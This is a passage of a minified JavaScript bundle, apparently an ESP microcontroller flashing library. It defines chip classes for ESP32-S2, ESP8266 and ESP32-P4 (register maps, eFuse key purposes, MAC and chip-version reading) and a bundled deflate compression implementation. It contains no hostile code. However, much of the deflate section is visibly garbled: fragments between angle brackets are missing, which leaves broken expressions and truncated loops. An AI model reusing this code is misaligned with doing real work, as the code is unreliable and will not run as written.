s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}}});var Vi={};K(Vi,{ESP32S2ROM:()=>Vt});var Vt,qi=G(()=>{AA();Vt=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32-S2",this.IMAGE_CHIP_ID=2,this.IROM_MAP_START=1074266112,this.IROM_MAP_END=1085800448,this.DROM_MAP_START=1056964608,this.DROM_MAP_END=1061093376,this.CHIP_DETECT_MAGIC_VALUE=[1990],this.SPI_REG_BASE=1061167104,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88,this.SPI_ADDR_REG_MSB=!1,this.MAC_EFUSE_REG=1061265476,this.UART_CLKDIV_REG=1061158932,this.SUPPORTS_ENCRYPTED_FLASH=!0,this.FLASH_ENCRYPTED_WRITE_ALIGN=16,this.EFUSE_BASE=1061265408,this.EFUSE_RD_REG_BASE=this.EFUSE_BASE+48,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.EFUSE_BLOCK2_ADDR=this.EFUSE_BASE+92,this.EFUSE_PURPOSE_KEY0_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY0_SHIFT=24,this.EFUSE_PURPOSE_KEY1_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY1_SHIFT=28,this.EFUSE_PURPOSE_KEY2_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY2_SHIFT=0,this.EFUSE_PURPOSE_KEY3_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY3_SHIFT=4,this.EFUSE_PURPOSE_KEY4_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY4_SHIFT=8,this.EFUSE_PURPOSE_KEY5_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY5_SHIFT=12,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT_REG=this.EFUSE_RD_REG_BASE,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT=1<<19,this.EFUSE_SPI_BOOT_CRYPT_CNT_REG=this.EFUSE_BASE+52,this.EFUSE_SPI_BOOT_CRYPT_CNT_MASK=7<<18,this.EFUSE_SECURE_BOOT_EN_REG=this.EFUSE_BASE+56,this.EFUSE_SECURE_BOOT_EN_MASK=1<<20,this.EFUSE_RD_REPEAT_DATA3_REG=this.EFUSE_BASE+60,this.EFUSE_RD_REPEAT_DATA3_REG_FLASH_TYPE_MASK=512,this.PURPOSE_VAL_XTS_AES256_KEY_1=2,this.PURPOSE_VAL_XTS_AES256_KEY_2=3,this.PURPOSE_VAL_XTS_AES128_KEY=4,this.UARTDEV_BUF_NO=1073741076,this.UARTDEV_BUF_NO_USB_OTG=2,this.USB_RAM_BLOCK=2048,this.GPIO_STRAP_REG=1061175352,this.GPIO_STRAP_SPI_BOOT_MASK=8,this.GPIO_STRAP_VDDSPI_MASK=16,this.RTC_CNTL_OPTION1_REG=1061191976,this.RTC_CNTL_FORCE_DOWNLOAD_BOOT_MASK=1,this.RTCCNTL_BASE_REG=1061191680,this.RTC_CNTL_WDTCONFIG0_REG=this.RTCCNTL_BASE_REG+148,this.RTC_CNTL_WDTCONFIG1_REG=this.RTCCNTL_BASE_REG+152,this.RTC_CNTL_WDTWPROTECT_REG=this.RTCCNTL_BASE_REG+172,this.RTC_CNTL_WDT_WKEY=1356348065,this.MEMORY_MAP=[[0,65536,"PADDING"],[1056964608,1073217536,"DROM"],[1062207488,1073217536,"EXTRAM_DATA"],[1073340416,1073348608,"RTC_DRAM"],[1073340416,1073741824,"BYTE_ACCESSIBLE"],[1073340416,1074208768,"MEM_INTERNAL"],[1073414144,1073741824,"DRAM"],[1073741824,1073848576,"IROM_MASK"],[1073872896,1074200576,"IRAM"],[1074200576,1074208768,"RTC_IRAM"],[1074266112,1082130432,"IROM"],[1342177280,1342185472,"RTC_DATA"]],this.EFUSE_VDD_SPI_REG=this.EFUSE_BASE+52,this.VDD_SPI_XPD=16,this.VDD_SPI_TIEH=32,this.VDD_SPI_FORCE=64,this.UF2_FAMILY_ID=3218951918,this.EFUSE_MAX_KEY=5,this.KEY_PURPOSES={0:"USER/EMPTY",1:"RESERVED",2:"XTS_AES_256_KEY_1",3:"XTS_AES_256_KEY_2",4:"XTS_AES_128_KEY",5:"HMAC_DOWN_ALL",6:"HMAC_DOWN_JTAG",7:"HMAC_DOWN_DIGITAL_SIGNATURE",8:"HMAC_UP",9:"SECURE_BOOT_DIGEST0",10:"SECURE_BOOT_DIGEST1",11:"SECURE_BOOT_DIGEST2"},this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612856,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=4096,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64}}async getPkgVersion(e){let i=this.EFUSE_BLOCK1_ADDR+16;return await e.readReg(i)>>0&15}async getMinorChipVersion(e){let i=await e.readReg(this.EFUSE_BLOCK1_ADDR+12)>>20&1,a=await e.readReg(this.EFUSE_BLOCK1_ADDR+4*4)>>4&7;return(i<<3)+a}async getMajorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>18&3}async getFlashVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>21&15}async getChipDescription(e){let A={0:"ESP32-S2",1:"ESP32-S2FH2",2:"ESP32-S2FH4",102:"ESP32-S2FNR2",100:"ESP32-S2R2"},i=await this.getFlashCap(e)+await this.getPsramCap(e)*100,s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${A[i]||"unknown ESP32-S2"} (revision v${s}.${a})`}async getFlashCap(e){return await this.getFlashVersion(e)}async getPsramVersion(e){let i=this.EFUSE_BLOCK1_ADDR+12;return await e.readReg(i)>>28&15}async getPsramCap(e){return await this.getPsramVersion(e)}async getBlock2Version(e){let i=this.EFUSE_BLOCK2_ADDR+16;return await e.readReg(i)>>4&7}async getChipFeatures(e){let A=["Wi-Fi"],i={0:"No Embedded Flash",1:"Embedded Flash 2MB",2:"Embedded Flash 4MB"},s=await this.getFlashCap(e),a=i[s]||"Unknown Embedded Flash";A.push(a);let n={0:"No Embedded Flash",1:"Embedded PSRAM 2MB",2:"Embedded PSRAM 4MB"},E=await this.getPsramCap(e),o=n[E]||"Unknown Embedded PSRAM";A.push(o);let r={0:"No calibration in BLK2 of efuse",1:"ADC and temperature sensor calibration in BLK2 of efuse V1",2:"ADC and temperature sensor calibration in BLK2 of efuse V2"},h=await this.getBlock2Version(e),w=r[h]||"Unknown Calibration in BLK2";return A.push(w),A}async getCrystalFreq(e){return 40}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}async usingUsbOtg(e){return(await e.readReg(this.UARTDEV_BUF_NO)&255)===this.UARTDEV_BUF_NO_USB_OTG}async postConnect(e){let A=await this.usingUsbOtg(e);e.debug("In _post_connect using USB OTG ?"+A),A&&(e.ESP_RAM_BLOCK=this.USB_RAM_BLOCK)}}});var $i={};K($i,{ESP8266ROM:()=>qt});var qt,As=G(()=>{AA();qt=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP8266",this.CHIP_DETECT_MAGIC_VALUE=[4293968129],this.EFUSE_RD_REG_BASE=1072693328,this.UART_CLKDIV_REG=1610612756,this.UART_CLKDIV_MASK=1048575,this.XTAL_CLK_DIVIDER=2,this.FLASH_WRITE_SIZE=16384,this.BOOTLOADER_FLASH_OFFSET=0,this.UART_DATE_REG_ADDR=0,this.FLASH_SIZES={"512KB":0,"256KB":16,"1MB":32,"2MB":48,"4MB":64,"2MB-c1":80,"4MB-c1":96,"8MB":128,"16MB":144},this.SPI_REG_BASE=1610613248,this.SPI_USR_OFFS=28,this.SPI_USR1_OFFS=32,this.SPI_USR2_OFFS=36,this.SPI_MOSI_DLEN_OFFS=0,this.SPI_MISO_DLEN_OFFS=0,this.SPI_W0_OFFS=64,this.getChipFeatures=async e=>{let A=["WiFi"];return await this.getChipDescription(e)=="ESP8285"&&A.push("Embedded Flash"),A}}async readEfuse(e,A){let i=this.EFUSE_RD_REG_BASE+4*A;return e.debug("Read efuse "+i),await e.readReg(i)}async getChipDescription(e){let A=await this.readEfuse(e,2);return(await this.readEfuse(e,0)&16|A&65536)!=0?"ESP8285":"ESP8266EX"}async getCrystalFreq(e){let A=await e.readReg(this.UART_CLKDIV_REG)&this.UART_CLKDIV_MASK,i=e.transport.baudrate*A/1e6/this.XTAL_CLK_DIVIDER,s;return i>33?s=40:s=26,Math.abs(s-i)>1&&e.info("WARNING: Detected crystal freq "+i+"MHz is quite different to normalized freq "+s+"MHz. Unsupported crystal in use?"),s}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await this.readEfuse(e,0);A=A>>>0;let i=await this.readEfuse(e,1);i=i>>>0;let s=await this.readEfuse(e,3);s=s>>>0;let a=new Uint8Array(6);return s!=0?(a[0]=s>>16&255,a[1]=s>>8&255,a[2]=s&255):i>>16&255?(i>>16&255)==1?(a[0]=172,a[1]=208,a[2]=116):e.error("Unknown OUI"):(a[0]=24,a[1]=254,a[2]=52),a[3]=i>>8&255,a[4]=i&255,a[5]=A>>24&255,this._d2h(a[0])+":"+this._d2h(a[1])+":"+this._d2h(a[2])+":"+this._d2h(a[3])+":"+this._d2h(a[4])+":"+this._d2h(a[5])}getEraseSize(e,A){return A}}});var ts={};K(ts,{ESP32P4ROM:()=>$t});var $t,es=G(()=>{Jt();$t=class extends zA{constructor(){super(...arguments),this.CHIP_NAME="ESP32-P4",this.IMAGE_CHIP_ID=18,this.IROM_MAP_START=1073741824,this.IROM_MAP_END=1275068416,this.DROM_MAP_START=1073741824,this.DROM_MAP_END=1275068416,this.BOOTLOADER_FLASH_OFFSET=8192,this.CHIP_DETECT_MAGIC_VALUE=[0,182303440],this.UART_DATE_REG_ADDR=1343004812,this.EFUSE_BASE=1343410176,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.SPI_REG_BASE=1342754816,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88,this.EFUSE_RD_REG_BASE=this.EFUSE_BASE+48,this.EFUSE_PURPOSE_KEY0_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY0_SHIFT=24,this.EFUSE_PURPOSE_KEY1_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY1_SHIFT=28,this.EFUSE_PURPOSE_KEY2_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY2_SHIFT=0,this.EFUSE_PURPOSE_KEY3_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY3_SHIFT=4,this.EFUSE_PURPOSE_KEY4_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY4_SHIFT=8,this.EFUSE_PURPOSE_KEY5_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY5_SHIFT=12,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT_REG=this.EFUSE_RD_REG_BASE,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT=1<<20,this.EFUSE_SPI_BOOT_CRYPT_CNT_REG=this.EFUSE_BASE+52,this.EFUSE_SPI_BOOT_CRYPT_CNT_MASK=7<<18,this.EFUSE_SECURE_BOOT_EN_REG=this.EFUSE_BASE+56,this.EFUSE_SECURE_BOOT_EN_MASK=1<<20,this.PURPOSE_VAL_XTS_AES256_KEY_1=2,this.PURPOSE_VAL_XTS_AES256_KEY_2=3,this.PURPOSE_VAL_XTS_AES128_KEY=4,this.SUPPORTS_ENCRYPTED_FLASH=!0,this.FLASH_ENCRYPTED_WRITE_ALIGN=16,this.MEMORY_MAP=[[0,65536,"PADDING"],[1073741824,1275068416,"DROM"],[1341128704,1341784064,"DRAM"],[1341128704,1341784064,"BYTE_ACCESSIBLE"],[1337982976,1338114048,"DROM_MASK"],[1337982976,1338114048,"IROM_MASK"],[1073741824,1275068416,"IROM"],[1341128704,1341784064,"IRAM"],[1343258624,1343291392,"RTC_IRAM"],[1343258624,1343291392,"RTC_DRAM"],[1611653120,1611661312,"MEM_INTERNAL2"]],this.UF2_FAMILY_ID=1026592404,this.EFUSE_MAX_KEY=5,this.KEY_PURPOSES={0:"USER/EMPTY",1:"ECDSA_KEY",2:"XTS_AES_256_KEY_1",3:"XTS_AES_256_KEY_2",4:"XTS_AES_128_KEY",5:"HMAC_DOWN_ALL",6:"HMAC_DOWN_JTAG",7:"HMAC_DOWN_DIGITAL_SIGNATURE",8:"HMAC_UP",9:"SECURE_BOOT_DIGEST0",10:"SECURE_BOOT_DIGEST1",11:"SECURE_BOOT_DIGEST2",12:"KM_INIT_KEY"}}async getPkgVersion(e){let i=this.EFUSE_BLOCK1_ADDR+8;return await e.readReg(i)>>27&7}async getMinorChipVersion(e){let i=this.EFUSE_BLOCK1_ADDR+8;return await e.readReg(i)>>0&15}async getMajorChipVersion(e){let i=this.EFUSE_BLOCK1_ADDR+8;return await e.readReg(i)>>4&3}async getChipDescription(e){let i=await this.getPkgVersion(e)===0?"ESP32-P4":"unknown ESP32-P4",s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${i} (revision v${s}.${a})`}async getChipFeatures(e){return["High-Performance MCU"]}async getCrystalFreq(e){return 40}async getFlashVoltage(e){}async overrideVddsdio(e){e.debug("VDD_SDIO overrides are not supported for ESP32-P4")}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}async getFlashCryptConfig(e){}async getSecureBootEnabled(e){return await e.readReg(this.EFUSE_SECURE_BOOT_EN_REG)&this.EFUSE_SECURE_BOOT_EN_MASK}async getKeyBlockPurpose(e,A){if(A<0||A>this.EFUSE_MAX_KEY){e.debug(`Valid key block numbers must be in range 0-${this.EFUSE_MAX_KEY}`);return}let i=[[this.EFUSE_PURPOSE_KEY0_REG,this.EFUSE_PURPOSE_KEY0_SHIFT],[this.EFUSE_PURPOSE_KEY1_REG,this.EFUSE_PURPOSE_KEY1_SHIFT],[this.EFUSE_PURPOSE_KEY2_REG,this.EFUSE_PURPOSE_KEY2_SHIFT],[this.EFUSE_PURPOSE_KEY3_REG,this.EFUSE_PURPOSE_KEY3_SHIFT],[this.EFUSE_PURPOSE_KEY4_REG,this.EFUSE_PURPOSE_KEY4_SHIFT],[this.EFUSE_PURPOSE_KEY5_REG,this.EFUSE_PURPOSE_KEY5_SHIFT]],[s,a]=i[A];return await e.readReg(s)>>a&15}async isFlashEncryptionKeyValid(e){let A=[];for(let n=0;n<=this.EFUSE_MAX_KEY;n++){let E=await this.getKeyBlockPurpose(e,n);A.push(E)}if(typeof A.find(n=>n===this.PURPOSE_VAL_XTS_AES128_KEY)!==void 0)return!0;let s=A.find(n=>n===this.PURPOSE_VAL_XTS_AES256_KEY_1),a=A.find(n=>n===this.PURPOSE_VAL_XTS_AES256_KEY_2);return typeof s!==void 0&&typeof a!==void 0}}});var eE={};K(eE,{ESPLoader:()=>ZA,Transport:()=>BA});var U=class extends Error{};function SA(t){let e=t.length;for(;--e>=0;)t[e]=0}var hs=0,Ge=1,os=2,gs=3,cs=258,yt=29,GA=256,UA=GA+1+yt,IA=30,Yt=19,me=2*UA+1,nA=15,Bt=16,Bs=7,bt=256,Ke=16,Le=17,Ne=18,ut=new Uint8Array([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),it=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),ws=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),Je=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),_s=512,V=new Array((UA+2)*2);SA(V);var FA=new Array(IA*2);SA(FA);var PA=new Array(_s);SA(PA);var kA=new Array(cs-gs+1);SA(kA);var Gt=new Array(yt);SA(Gt);var st=new Array(IA);SA(st);function wt(t,e,A,i,s){this.static_tree=t,this.extra_bits=e,this.extra_base=A,this.elems=i,this.max_length=s,this.has_stree=t&&t.length}var ve,We,ze;function _t(t,e){this.dyn_tree=t,this.max_code=0,this.stat_desc=e}var je=t=>t<256?PA[t]:PA[256+(t>>>7)],OA=(t,e)=>{t.pending_buf[t.pending++]=e&255,t.pending_buf[t.pending++]=e>>>8&255},y=(t,e,A)=>{t.bi_valid>Bt-A?(t.bi_buf|=e<>Bt-t.bi_valid,t.bi_valid+=A-Bt):(t.bi_buf|=e<{y(t,A[e*2],A[e*2+1])},Ze=(t,e)=>{let A=0;do A|=t&1,t>>>=1,A<<=1;while(--e>0);return A>>>1},fs=t=>{t.bi_valid===16?(OA(t,t.bi_buf),t.bi_buf=0,t.bi_valid=0):t.bi_valid>=8&&(t.pending_buf[t.pending++]=t.bi_buf&255,t.bi_buf>>=8,t.bi_valid-=8)},Cs=(t,e)=>{let A=e.dyn_tree,i=e.max_code,s=e.stat_desc.static_tree,a=e.stat_desc.has_stree,n=e.stat_desc.extra_bits,E=e.stat_desc.extra_base,o=e.stat_desc.max_length,r,h,w,c,g,f,F=0;for(c=0;c<=nA;c++)t.bl_count[c]=0;for(A[t.heap[t.heap_max]*2+1]=0,r=t.heap_max+1;ro&&(c=o,F++),A[h*2+1]=c,!(h>i)&&(t.bl_count[c]++,g=0,h>=E&&(g=n[h-E]),f=A[h*2],t.opt_len+=f*(c+g),a&&(t.static_len+=f*(s[h*2+1]+g)));if(F!==0){do{for(c=o-1;t.bl_count[c]===0;)c--;t.bl_count[c]--,t.bl_count[c+1]+=2,t.bl_count[o]--,F-=2}while(F>0);for(c=o;c!==0;c--)for(h=t.bl_count[c];h!==0;)w=t.heap[--r],!(w>i)&&(A[w*2+1]!==c&&(t.opt_len+=(c-A[w*2+1])*A[w*2],A[w*2+1]=c),h--)}},Xe=(t,e,A)=>{let i=new Array(nA+1),s=0,a,n;for(a=1;a<=nA;a++)s=s+A[a-1]<<1,i[a]=s;for(n=0;n<=e;n++){let E=t[n*2+1];E!==0&&(t[n*2]=Ze(i[E]++,E))}},Is=()=>{let t,e,A,i,s,a=new Array(nA+1);for(A=0,i=0;i>=7;i{let e;for(e=0;e{t.bi_valid>8?OA(t,t.bi_buf):t.bi_valid>0&&(t.pending_buf[t.pending++]=t.bi_buf),t.bi_buf=0,t.bi_valid=0},te=(t,e,A,i)=>{let s=e*2,a=A*2;return t[s]{let i=t.heap[A],s=A<<1;for(;s<=t.heap_len&&(s{let i,s,a=0,n,E;if(t.sym_next!==0)do i=t.pending_buf[t.sym_buf+a++]&255,i+=(t.pending_buf[t.sym_buf+a++]&255)<<8,s=t.pending_buf[t.sym_buf+a++],i===0?W(t,s,e):(n=kA[s],W(t,n+GA+1,e),E=ut[n],E!==0&&(s-=Gt[n],y(t,s,E)),i--,n=je(i),W(t,n,A),E=it[n],E!==0&&(i-=st[n],y(t,i,E)));while(a{let A=e.dyn_tree,i=e.stat_desc.static_tree,s=e.stat_desc.has_stree,a=e.stat_desc.elems,n,E,o=-1,r;for(t.heap_len=0,t.heap_max=me,n=0;n>1;n>=1;n--)ft(t,A,n);r=a;do n=t.heap[1],t.heap[1]=t.heap[t.heap_len--],ft(t,A,1),E=t.heap[1],t.heap[--t.heap_max]=n,t.heap[--t.heap_max]=E,A[r*2]=A[n*2]+A[E*2],t.depth[r]=(t.depth[n]>=t.depth[E]?t.depth[n]:t.depth[E])+1,A[n*2+1]=A[E*2+1]=r,t.heap[1]=r++,ft(t,A,1);while(t.heap_len>=2);t.heap[--t.heap_max]=t.heap[1],Cs(t,e),Xe(A,o,t.bl_count)},ie=(t,e,A)=>{let i,s=-1,a,n=e[0*2+1],E=0,o=7,r=4;for(n===0&&(o=138,r=3),e[(A+1)*2+1]=65535,i=0;i<=A;i++)a=n,n=e[(i+1)*2+1],!(++E{let i,s=-1,a,n=e[0*2+1],E=0,o=7,r=4;for(n===0&&(o=138,r=3),i=0;i<=A;i++)if(a=n,n=e[(i+1)*2+1],!(++E{let e;for(ie(t,t.dyn_ltree,t.l_desc.max_code),ie(t,t.dyn_dtree,t.d_desc.max_code),Ft(t,t.bl_desc),e=Yt-1;e>=3&&t.bl_tree[Je[e]*2+1]===0;e--);return t.opt_len+=3*(e+1)+5+5+4,e},ds=(t,e,A,i)=>{let s;for(y(t,e-257,5),y(t,A-1,5),y(t,i-4,4),s=0;s{let e=4093624447,A;for(A=0;A<=31;A++,e>>>=1)if(e&1&&t.dyn_ltree[A*2]!==0)return 0;if(t.dyn_ltree[9*2]!==0||t.dyn_ltree[10*2]!==0||t.dyn_ltree[13*2]!==0)return 1;for(A=32;A{ae||(Is(),ae=!0),t.l_desc=new _t(t.dyn_ltree,ve),t.d_desc=new _t(t.dyn_dtree,We),t.bl_desc=new _t(t.bl_tree,ze),t.bi_buf=0,t.bi_valid=0,Ve(t)},$e=(t,e,A,i)=>{y(t,(hs<<1)+(i?1:0),3),qe(t),OA(t,A),OA(t,~A),A&&t.pending_buf.set(t.window.subarray(e,e+A),t.pending),t.pending+=A},Rs=t=>{y(t,Ge<<1,3),W(t,bt,V),fs(t)},Ms=(t,e,A,i)=>{let s,a,n=0;t.level>0?(t.strm.data_type===2&&(t.strm.data_type=Ss(t)),Ft(t,t.l_desc),Ft(t,t.d_desc),n=ls(t),s=t.opt_len+3+7>>>3,a=t.static_len+3+7>>>3,a<=s&&(s=a)):s=a=A+5,A+4<=s&&e!==-1?$e(t,e,A,i):t.strategy===4||a===s?(y(t,(Ge<<1)+(i?1:0),3),ee(t,V,FA)):(y(t,(os<<1)+(i?1:0),3),ds(t,t.l_desc.max_code+1,t.d_desc.max_code+1,n+1),ee(t,t.dyn_ltree,t.dyn_dtree)),Ve(t),i&&qe(t)},xs=(t,e,A)=>(t.pending_buf[t.sym_buf+t.sym_next++]=e,t.pending_buf[t.sym_buf+t.sym_next++]=e>>8,t.pending_buf[t.sym_buf+t.sym_next++]=A,e===0?t.dyn_ltree[A*2]++:(t.matches++,e--,t.dyn_ltree[(kA[A]+GA+1)*2]++,t.dyn_dtree[je(e)*2]++),t.sym_next===t.sym_end),Qs=Ds,us=$e,Fs=Ms,Ts=xs,ps=Rs,Us={_tr_init:Qs,_tr_stored_block:us,_tr_flush_block:Fs,_tr_tally:Ts,_tr_align:ps},Ps=(t,e,A,i)=>{let s=t&65535|0,a=t>>>16&65535|0,n=0;for(;A!==0;){n=A>2e3?2e3:A,A-=n;do s=s+e[i++]|0,a=a+s|0;while(--n);s%=65521,a%=65521}return s|a<<16|0},HA=Ps,ks=()=>{let t,e=[];for(var A=0;A<256;A++){t=A;for(var i=0;i<8;i++)t=t&1?3988292384^t>>>1:t>>>1;e[A]=t}return e},Os=new Uint32Array(ks()),Hs=(t,e,A,i)=>{let s=Os,a=i+A;t^=-1;for(let n=i;n>>8^s[(t^e[n])&255];return t^-1},P=Hs,hA={2:"need dictionary",1:"stream end",0:"","-1":"file error","-2":"stream error","-3":"data error","-4":"insufficient memory","-5":"buffer error","-6":"incompatible version"},DA={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_MEM_ERROR:-4,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEED:1,Z_BEST_COMPRESSION:9,Z_DEFAULT_COMPRESSION:-1,Z_FILTERED:1,Z_HUFFMAN_ONLY:2,Z_RLE:3,Z_FIXED:4,Z_DEFAULT_STRATEGY:0,Z_BINARY:0,Z_TEXT:1,Z_UNKNOWN:2,Z_DEFLATED:8},{_tr_init:ys,_tr_stored_block:Tt,_tr_flush_block:Ys,_tr_tally:iA,_tr_align:bs}=Us,{Z_NO_FLUSH:sA,Z_PARTIAL_FLUSH:Gs,Z_FULL_FLUSH:ms,Z_FINISH:N,Z_BLOCK:ne,Z_OK:k,Z_STREAM_END:Ee,Z_STREAM_ERROR:z,Z_DATA_ERROR:Ks,Z_BUF_ERROR:Ct,Z_DEFAULT_COMPRESSION:Ls,Z_FILTERED:Ns,Z_HUFFMAN_ONLY:qA,Z_RLE:Js,Z_FIXED:vs,Z_DEFAULT_STRATEGY:Ws,Z_UNKNOWN:zs,Z_DEFLATED:Et}=DA,js=9,Zs=15,Xs=8,Vs=29,qs=256,pt=qs+1+Vs,$s=30,Aa=19,ta=2*pt+1,ea=15,x=3,eA=258,j=eA+x+1,ia=32,lA=42,mt=57,Ut=69,Pt=73,kt=91,Ot=103,EA=113,QA=666,H=1,RA=2,oA=3,MA=4,sa=3,rA=(t,e)=>(t.msg=hA[e],e),re=t=>t*2-(t>4?9:0),tA=t=>{let e=t.length;for(;--e>=0;)t[e]=0},aa=t=>{let e,A,i,s=t.w_size;e=t.hash_size,i=e;do A=t.head[--i],t.head[i]=A>=s?A-s:0;while(--e);e=s,i=e;do A=t.prev[--i],t.prev[i]=A>=s?A-s:0;while(--e)},na=(t,e,A)=>(e<{let e=t.state,A=e.pending;A>t.avail_out&&(A=t.avail_out),A!==0&&(t.output.set(e.pending_buf.subarray(e.pending_out,e.pending_out+A),t.next_out),t.next_out+=A,e.pending_out+=A,t.total_out+=A,t.avail_out-=A,e.pending-=A,e.pending===0&&(e.pending_out=0))},b=(t,e)=>{Ys(t,t.block_start>=0?t.block_start:-1,t.strstart-t.block_start,e),t.block_start=t.strstart,Y(t.strm)},u=(t,e)=>{t.pending_buf[t.pending++]=e},xA=(t,e)=>{t.pending_buf[t.pending++]=e>>>8&255,t.pending_buf[t.pending++]=e&255},Ht=(t,e,A,i)=>{let s=t.avail_in;return s>i&&(s=i),s===0?0:(t.avail_in-=s,e.set(t.input.subarray(t.next_in,t.next_in+s),A),t.state.wrap===1?t.adler=HA(t.adler,e,s,A):t.state.wrap===2&&(t.adler=P(t.adler,e,s,A)),t.next_in+=s,t.total_in+=s,s)},Ai=(t,e)=>{let A=t.max_chain_length,i=t.strstart,s,a,n=t.prev_length,E=t.nice_match,o=t.strstart>t.w_size-j?t.strstart-(t.w_size-j):0,r=t.window,h=t.w_mask,w=t.prev,c=t.strstart+eA,g=r[i+n-1],f=r[i+n];t.prev_length>=t.good_match&&(A>>=2),E>t.lookahead&&(E=t.lookahead);do if(s=e,!(r[s+n]!==f||r[s+n-1]!==g||r[s]!==r[i]||r[++s]!==r[i+1])){i+=2,s++;do;while(r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&r[++i]===r[++s]&&in){if(t.match_start=e,n=a,a>=E)break;g=r[i+n-1],f=r[i+n]}}while((e=w[e&h])>o&&--A!==0);return n<=t.lookahead?n:t.lookahead},dA=t=>{let e=t.w_size,A,i,s;do{if(i=t.window_size-t.lookahead-t.strstart,t.strstart>=e+(e-j)&&(t.window.set(t.window.subarray(e,e+e-i),0),t.match_start-=e,t.strstart-=e,t.block_start-=e,t.insert>t.strstart&&(t.insert=t.strstart),aa(t),i+=e),t.strm.avail_in===0)break;if(A=Ht(t.strm,t.window,t.strstart+t.lookahead,i),t.lookahead+=A,t.lookahead+t.insert>=x)for(s=t.strstart-t.insert,t.ins_h=t.window[s],t.ins_h=aA(t,t.ins_h,t.window[s+1]);t.insert&&(t.ins_h=aA(t,t.ins_h,t.window[s+x-1]),t.prev[s&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=s,s++,t.insert--,!(t.lookahead+t.insert{let 